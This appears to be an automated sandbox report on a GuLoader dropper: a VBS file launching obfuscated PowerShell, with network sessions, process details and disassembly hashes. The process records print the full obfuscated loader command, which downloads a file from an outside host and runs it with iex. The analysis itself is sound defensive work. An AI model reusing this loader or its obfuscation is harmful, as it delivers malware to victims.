Mar 19, 2025 16:14:24.433185101 CET	1236	IN	Data Raw: 5a 6f 50 4c 41 4e 6e 2b 44 32 6a 67 36 7a 46 39 4d 45 7a 4c 4e 72 6a 61 6f 4e 6c 63 49 49 77 37 37 2b 50 77 49 4c 32 76 41 7a 33 4a 67 4d 78 76 74 4e 43 47 34 31 68 33 5a 52 51 45 47 67 44 33 73 41 75 37 42 5a 76 7a 48 54 4b 54 45 4c 70 6e 67 65 Data Ascii: ZoPLANn+D2jg6zF9MEzLNrjaoNlcIIw77+PwIL2vAz3JgMxvtNCG41h3ZRQEGgD3sAu7BZvzHTKTELpngemhUkkpD/nF3svrCEpjde9NH/OhgOkAD9jpZg/Y/esjLNrcwUHBG+Pz4UH9WO7mjOhG/HQlpVU1Bm0IMXR+c1P7LB2A8gCQZg/c/OtLmRHkQi/vm3Fe6VVT/m+Fk1jWbzybqR1Tm2s/eBtCSJT6FvbYV9nuNoPhGpX
Mar 19, 2025 16:14:24.433196068 CET	212	IN	Data Raw: 69 52 51 4c 32 65 7a 5a 36 65 73 77 67 34 74 71 5a 32 4c 38 76 6a 70 66 6c 56 51 4f 58 54 76 37 4b 4f 78 61 37 65 5a 55 73 4f 61 44 63 63 6a 70 73 67 76 33 6e 4b 79 47 31 33 33 58 2b 74 43 4c 72 45 51 74 47 36 31 4a 4b 48 41 64 67 38 41 41 5a 67 Data Ascii: iRQL2ezZ6eswg4tqZ2L8vjpflVQOXTv7KOxa7eZUsOaDccjpsgv3nKyG133X+tCLrEQtG61JKHAdg8AAZg/5wdjU6zpIoC2WK7C7ibd7UHZnN//la7I0pJTSO/eRe/69XQkxoLrNTKMYS63wVruyRbiSB9NP6KoR4OzRRXgxZoP2AA/f49n46zpcc4cglZE/kV3SJ5xs5rZuqmyVnvHk
Mar 19, 2025 16:14:24.433366060 CET	1236	IN	Data Raw: 44 65 7a 4f 69 61 77 4c 50 53 62 66 6a 63 5a 6a 5a 59 73 35 6d 4f 77 37 32 4b 33 38 33 75 7a 7a 63 6c 49 78 75 7a 45 32 37 4e 4b 69 34 4b 42 6b 30 65 4c 5a 39 74 6e 70 36 31 54 37 65 5a 38 49 5a 66 59 57 6b 68 6e 36 31 68 67 5a 59 41 4f 57 73 44 Data Ascii: DezOiawLPSbfjcZjZYs5mOw72K383uzzclIxuzE27NKi4KBk0eLZ9tnp61T7eZ8IZfYWkhn61hgZYAOWsD/zazKDo+91w3J28iCV8VGd7o9TMwv3p0CeWaoPgqd2Z1a0ErTLZGVAPDBc+c7VWDuVktcQIV+IeZBcE8Oc7kv7xGqD8gDZ9mYP6+rrUlYZkj4WrJ0VQ4Iae7d4EAPmKjm++udcjNBQ5Rod75u/z3biiuiYjeY9kzk
Mar 19, 2025 16:14:24.433384895 CET	1236	IN	Data Raw: 77 35 66 66 4e 77 42 6d 44 39 76 56 5a 67 2f 56 39 75 73 75 72 6a 4d 65 32 48 78 74 56 6f 7a 72 39 32 5a 54 61 66 68 31 57 65 6f 61 64 51 70 43 77 79 61 2b 69 6b 38 66 66 33 43 6e 76 61 76 41 68 77 43 56 47 7a 59 73 46 34 69 2f 71 30 35 37 35 63 Data Ascii: w5ffNwBmD9vVZg/V9usurjMe2HxtVozr92ZTafh1WeoadQpCwya+ik8ff3CnvavAhwCVGzYsF4i/q0575cDgANn8D3HWKOtbD8K42kzQUVrENpy3Y/eIH49soCf27RAJ4ZbOQDYXtd0+qA1YmPOPLoEjbm3WG0t2SM5zO/y4HMmJfU9zjY0yYKZd4VRgGyI2J0Y5xnN6icZ4SRUnFrAMM+jBEYTbkNns6zo1hTd4mN+w+X2hC/y
Mar 19, 2025 16:14:24.433397055 CET	424	IN	Data Raw: 75 73 49 5a 58 55 37 57 36 58 57 41 62 38 47 44 38 77 44 7a 44 33 37 35 33 4f 48 72 44 39 33 63 46 49 69 37 6d 77 6a 54 38 46 6b 38 63 34 30 6f 2b 35 76 62 34 39 6a 58 36 77 32 44 34 73 35 75 70 35 59 70 6c 6b 33 63 6e 4b 79 55 77 4f 73 41 44 39 Data Ascii: usIZXU7W6XWAb8GD8wDzD3753OHrD93cFIi7mwjT8Fk8c40o+5vb49jX6w2D4s5up5Yplk3cnKyUwOsAD9ze2eHrBHcwRzPB4ADY92YPacfrQu/giBuYWxGhcrl86mhs8aEgXi4N2mY3piDsSykJzM5ExTo4QGr33mkxIhf7mjMguQJ0tNGjNlfCZgORJuAfbuNCIYsMENnh85DrFY98fgve60mdVsZlOACN2zgIq0VF78DjANv
Mar 19, 2025 16:14:24.433407068 CET	1236	IN	Data Raw: 61 49 34 31 5a 44 77 34 31 58 74 70 64 4a 30 6b 51 6d 4c 61 41 52 47 6d 58 48 64 5a 68 63 74 53 38 6b 2b 6e 65 76 70 78 31 63 58 58 41 70 78 46 49 63 6e 5a 38 4e 6a 63 36 77 4c 70 33 2f 68 6d 44 32 62 35 32 65 76 72 50 44 32 78 2b 63 52 6b 72 76 Data Ascii: aI41ZDw41XtpdJ0kQmLaARGmXHdZhctS8k+nevpx1cXXApxFIcnZ8Njc6wLp3/hmD2b52evrPD2x+cRkrvG6ZSftPDL75Xf/n86TM0mKuYVH24jZBWm199pVSsbwJCHDxyBWUgpdKihr4kj6mtOEgSNVOELZ+9nz60ggwKAySkf7/Wg7RgAmWZpZqq6rHvDh6c55y1PDoe7gKqVFNY4pnTy8dzTgMTcu5cNia8k6TDjQvMjTFXx
Mar 19, 2025 16:14:24.433418989 CET	1236	IN	Data Raw: 66 34 78 75 39 78 76 33 53 79 76 36 65 45 69 44 79 51 42 6d 44 32 4c 57 32 65 44 72 52 50 37 6a 50 46 56 43 4b 39 7a 65 48 63 4a 71 56 72 50 73 49 36 70 67 74 4f 6c 44 30 35 55 37 54 59 74 7a 5a 56 54 58 30 50 72 77 4a 33 76 78 41 6b 42 71 5a 57 Data Ascii: f4xu9xv3Syv6eEiDyQBmD2LW2eDrRP7jPFVCK9zeHcJqVrPsI6pgtOlD05U7TYtzZVTX0PrwJ3vxAkBqZWwdJK2r5AJLiVvfIjnd1bMGwv7WqGSjbzbd4zdd+GYPc9V9D9jq6wgtaf1ZMGvbzYt8JATZ4dnh6yhHdMcLHJbC2CTwgeuxRpYgpROfa8fIJO85J98bhs5AiNWUS8Xf9Y+Mg8gAD+X2D2Hv6xKjRVO62dL7lRD+8hW
Mar 19, 2025 16:14:24.433430910 CET	424	IN	Data Raw: 44 54 33 44 48 37 61 56 41 39 79 52 53 73 56 41 68 64 4b 51 44 32 44 4a 36 79 6d 49 63 64 55 4b 43 4c 7a 45 77 43 68 36 66 50 78 44 5a 46 4f 2f 32 46 48 63 73 43 4d 4d 48 31 56 59 46 59 72 49 46 74 50 71 74 6c 5a 2b 48 76 42 33 4d 74 48 52 6f 34 Data Ascii: DT3DH7aVA9yRSsVAhdKQD2DJ6ymIcdUKCLzEwCh6fPxDZFO/2FHcsCMMH1VYFYrIFtPqtlZ+HvB3MtHRo4X22fQP1fnrSWAXPPimOplp4wBWStzeBlc3y3GMudBQnFjFtJf3JLz+7f1JNal5+PNRzJyG4RsZeyk26GagbvOMCwv1eDFXcS6wfFrLI/orEYTHgwABAAAAgJcB3vRmD3Lx1esy+iEA5MtjEXCLZ9f8JBgkDDgCImu
Mar 19, 2025 16:14:24.437962055 CET	1236	IN	Data Raw: 39 43 67 56 61 5a 4d 6a 64 42 34 54 6e 72 53 77 2f 5a 31 53 37 36 76 76 4d 34 61 6f 47 6d 48 75 52 42 70 33 47 50 6b 6a 59 77 6d 65 38 51 30 55 4c 4d 6b 66 5a 35 73 36 4c 61 77 33 43 69 36 73 67 2f 59 41 32 66 76 5a 2b 2b 73 44 57 6f 59 41 77 65 Data Ascii: 9CgVaZMjdB4TnrSw/Z1S76vvM4aoGmHuRBp3GPkjYwme8Q0ULMkfZ5s6Law3Ci6sg/YA2fvZ++sDWoYAweEA2fZmD9jx6zIjx+EnG5x6dGhgDMJi0Xjegxie7Xpj22icWq8yJRO6bIK+k/3X2QPm0dVW0jZSmkOsu1MP+sGb60a1ZIP2LOdpEeD8DDlG3QWx3+c48myIe7lVn0TFD1c9vZNYIeU3DdywAzABP2YKD8LDC2e02Tv

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49695	188.213.33.77	443	7524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 15:14:17 UTC	85	OUT	GET /Evakueringsvelsernes.thn HTTP/1.1 Host: mobimpex.ro Connection: Keep-Alive
2025-03-19 15:14:17 UTC	231	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 19 Mar 2025 15:14:17 GMT Server: Apache Location: http://www.mobimpex.ro/Evakueringsvelsernes.thn Content-Length: 255 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-03-19 15:14:17 UTC	255	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 6f 62 69 6d 70 65 78 2e 72 6f 2f 45 76 61 6b 75 65 72 69 6e 67 73 76 65 6c 73 65 72 6e 65 73 2e 74 68 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.mobimpex.ro/Evakueringsvelsernes.thn">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49697	188.213.33.77	443	7524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 15:14:22 UTC	85	OUT	GET /Evakueringsvelsernes.thn HTTP/1.1 Host: mobimpex.ro Connection: Keep-Alive
2025-03-19 15:14:23 UTC	231	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 19 Mar 2025 15:14:23 GMT Server: Apache Location: http://www.mobimpex.ro/Evakueringsvelsernes.thn Content-Length: 255 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-03-19 15:14:23 UTC	255	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 6f 62 69 6d 70 65 78 2e 72 6f 2f 45 76 61 6b 75 65 72 69 6e 67 73 76 65 6c 73 65 72 6e 65 73 2e 74 68 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.mobimpex.ro/Evakueringsvelsernes.thn">here</a>.</p></body></html>

Statistics

Click to jump to process

Memory Usage

• wscript.exe
• powershell.exe
• conhost.exe
• powershell.exe
• conhost.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Behavior

• wscript.exe
• powershell.exe
• conhost.exe
• powershell.exe
• conhost.exe

Click to jump to process

Target ID:	0
Start time:	11:14:10
Start date:	19/03/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs"
Imagebase:	0x7ff7c1f10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:14:11
Start date:	19/03/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t e.NHT ,$Td e l l a v o lGP IaaNnFEKRMn eMs');Blodtrykkene (Pigtraadsorkesteret 'f$KgAl oSb a lB:,W,eCbBb a n kK = E[lSSy s,tPe mS.SC oSn v e rCt ]p: :KFBrNoAm B a.sUe 6,4KSMtVr.inn,g,( $pB.lRa.n kNeAtFtMeNn.)');Blodtrykkene (Pigtraadsorkesteret 'F$,G l O B a LM:,kFHmaClOS A. = ,[SsRYDsAt.eTmE.GTBe XVT,.MEBnSc oAdTiCN.g ] : :eA,S cOIGi . g Eat SRT R.ISnLgU(V$ wBESBUBTa,N K )');Blodtrykkene (Pigtraadsorkesteret 'T$ G l OTB.A l : bSEanUv aGRSm eNrSNFe S =T$bk,H,a L S aW. SWUPb SLTFr IFnCgT(w$ lDONsGn i NSg.E NuSU, $ e s s.A yFiSCGa LR)');Blodtrykkene $Benvarmernes;"
Imagebase:	0x7ff7d5ca0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:14:11
Start date:	19/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:14:29
Start date:	19/03/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t e.NHT ,$Td e l l a v o lGP IaaNnFEKRMn eMs');Blodtrykkene (Pigtraadsorkesteret 'f$KgAl oSb a lB:,W,eCbBb a n kK = E[lSSy s,tPe mS.SC oSn v e rCt ]p: :KFBrNoAm B a.sUe 6,4KSMtVr.inn,g,( $pB.lRa.n kNeAtFtMeNn.)');Blodtrykkene (Pigtraadsorkesteret 'F$,G l O B a LM:,kFHmaClOS A. = ,[SsRYDsAt.eTmE.GTBe XVT,.MEBnSc oAdTiCN.g ] : :eA,S cOIGi . g Eat SRT R.ISnLgU(V$ wBESBUBTa,N K )');Blodtrykkene (Pigtraadsorkesteret 'T$ G l OTB.A l : bSEanUv aGRSm eNrSNFe S =T$bk,H,a L S aW. SWUPb SLTFr IFnCgT(w$ lDONsGn i NSg.E NuSU, $ e s s.A yFiSCGa LR)');Blodtrykkene $Benvarmernes;"
Imagebase:	0x7b0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000A.00000002.2571136778.0000000008BF3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:14:29
Start date:	19/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FF88B4DD469 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 655b4819c34b06a4a5067dca8d886748b49b11a6ea983b8142b24ce362a62c90
Instruction ID: 98a786c4f2a0fa0a877ac828497cf825ee00d7ebcf8b5777ea264f172600ac6b
Opcode Fuzzy Hash: 655b4819c34b06a4a5067dca8d886748b49b11a6ea983b8142b24ce362a62c90
Instruction Fuzzy Hash: 1EC16230A18A8D8FEBA8DF28C8567E977D1FF94340F14826ED84DC7295CE799944CB81

Function 00007FF88B750793 Relevance: 8.4, Strings: 6, Instructions: 906COMMON

Download Yara Rule

Strings

`7Vs, xrefs: 00007FF88B750A9F
h7Vs, xrefs: 00007FF88B750B71
bs, xrefs: 00007FF88B750CF5
bs, xrefs: 00007FF88B750848
h7Vs, xrefs: 00007FF88B750AAC
p7Vs, xrefs: 00007FF88B750E79

Memory Dump Source

Source File: 00000002.00000002.1461665310.00007FF88B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b750000_powershell.jbxd

Similarity

API ID:
String ID: bs$ bs$`7Vs$h7Vs$h7Vs$p7Vs
API String ID: 0-205573468
Opcode ID: 4de388217d4972fe584be5aa86159545a8148dc63fd73a2c3c78b4130707bf0c
Instruction ID: 2dc9d03c782fb7f578c2d719ad705d5712362d814edf009b3243fa6bbb53beee
Opcode Fuzzy Hash: 4de388217d4972fe584be5aa86159545a8148dc63fd73a2c3c78b4130707bf0c
Instruction Fuzzy Hash: F6422831E0DB8A8FE795AA6858552B47BE1FFD6650B1801FEC04DC71B3DE19AC46C381

Function 00007FF88B4D4E1D Relevance: 5.5, Strings: 4, Instructions: 491COMMON

Download Yara Rule

Strings

^, xrefs: 00007FF88B4D4E2A
6/, xrefs: 00007FF88B4D508C
S[_H, xrefs: 00007FF88B4D4EE0
^, xrefs: 00007FF88B4D4DC9

Memory Dump Source

Source File: 00000002.00000002.1457381696.00007FF88B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b4d0000_powershell.jbxd

Similarity

API ID:
String ID: 6/$S[_H$^$^
API String ID: 0-2127064205
Opcode ID: f941783d865825b6fb8a7c6804338ab7b869d9555e7e74dd7ee6757d47b0e199
Instruction ID: 07f3ada15e3e04a40fea78d6c97b3a2425c19096c819198bf53db32efbf948ff
Opcode Fuzzy Hash: f941783d865825b6fb8a7c6804338ab7b869d9555e7e74dd7ee6757d47b0e199
Instruction Fuzzy Hash: 25F1C431E08A8E8FEB95DF5CC456AE97BE1FF95350F1841BAD409D71A3CE24A841CB80

Function 00007FF88B5A3E0A Relevance: 4.8, Strings: 3, Instructions: 1021COMMON

Download Yara Rule

Strings

6Vs, xrefs: 00007FF88B5A3E46
bs, xrefs: 00007FF88B5ABE72
6Vs, xrefs: 00007FF88B5A3E65

Memory Dump Source

Source File: 00000002.00000002.1458177953.00007FF88B5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88B5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff88b5a0000_powershell.jbxd

Similarity

API ID:
String ID: bs$6Vs$6Vs
API String ID: 0-1450170219
Opcode ID: ce9bf495fed5018f98d9d6349d672e215cd172a42b4390e220fd59e40fa49979
Instruction ID: 95d759f7b2163173eae323e00bf4389d18f7324aea66f3ad98dbd6184b791cf0
Opcode Fuzzy Hash: ce9bf495fed5018f98d9d6349d672e215cd172a42b4390e220fd59e40fa49979
Instruction Fuzzy Hash: 3A721131D0DA8A8FE795EBA88C596747BE1FF96750F0800BEC04DDB1A3D929AC45C742

Function 00007FF88B5A3CE2 Relevance: 4.3, Strings: 3, Instructions: 533COMMON

Download Yara Rule

Strings

6/, xrefs: 00007FF88B5A3DDD
bs, xrefs: 00007FF88B5ABE72
0xs, xrefs: 00007FF88B5A3DCB

Memory Dump Source

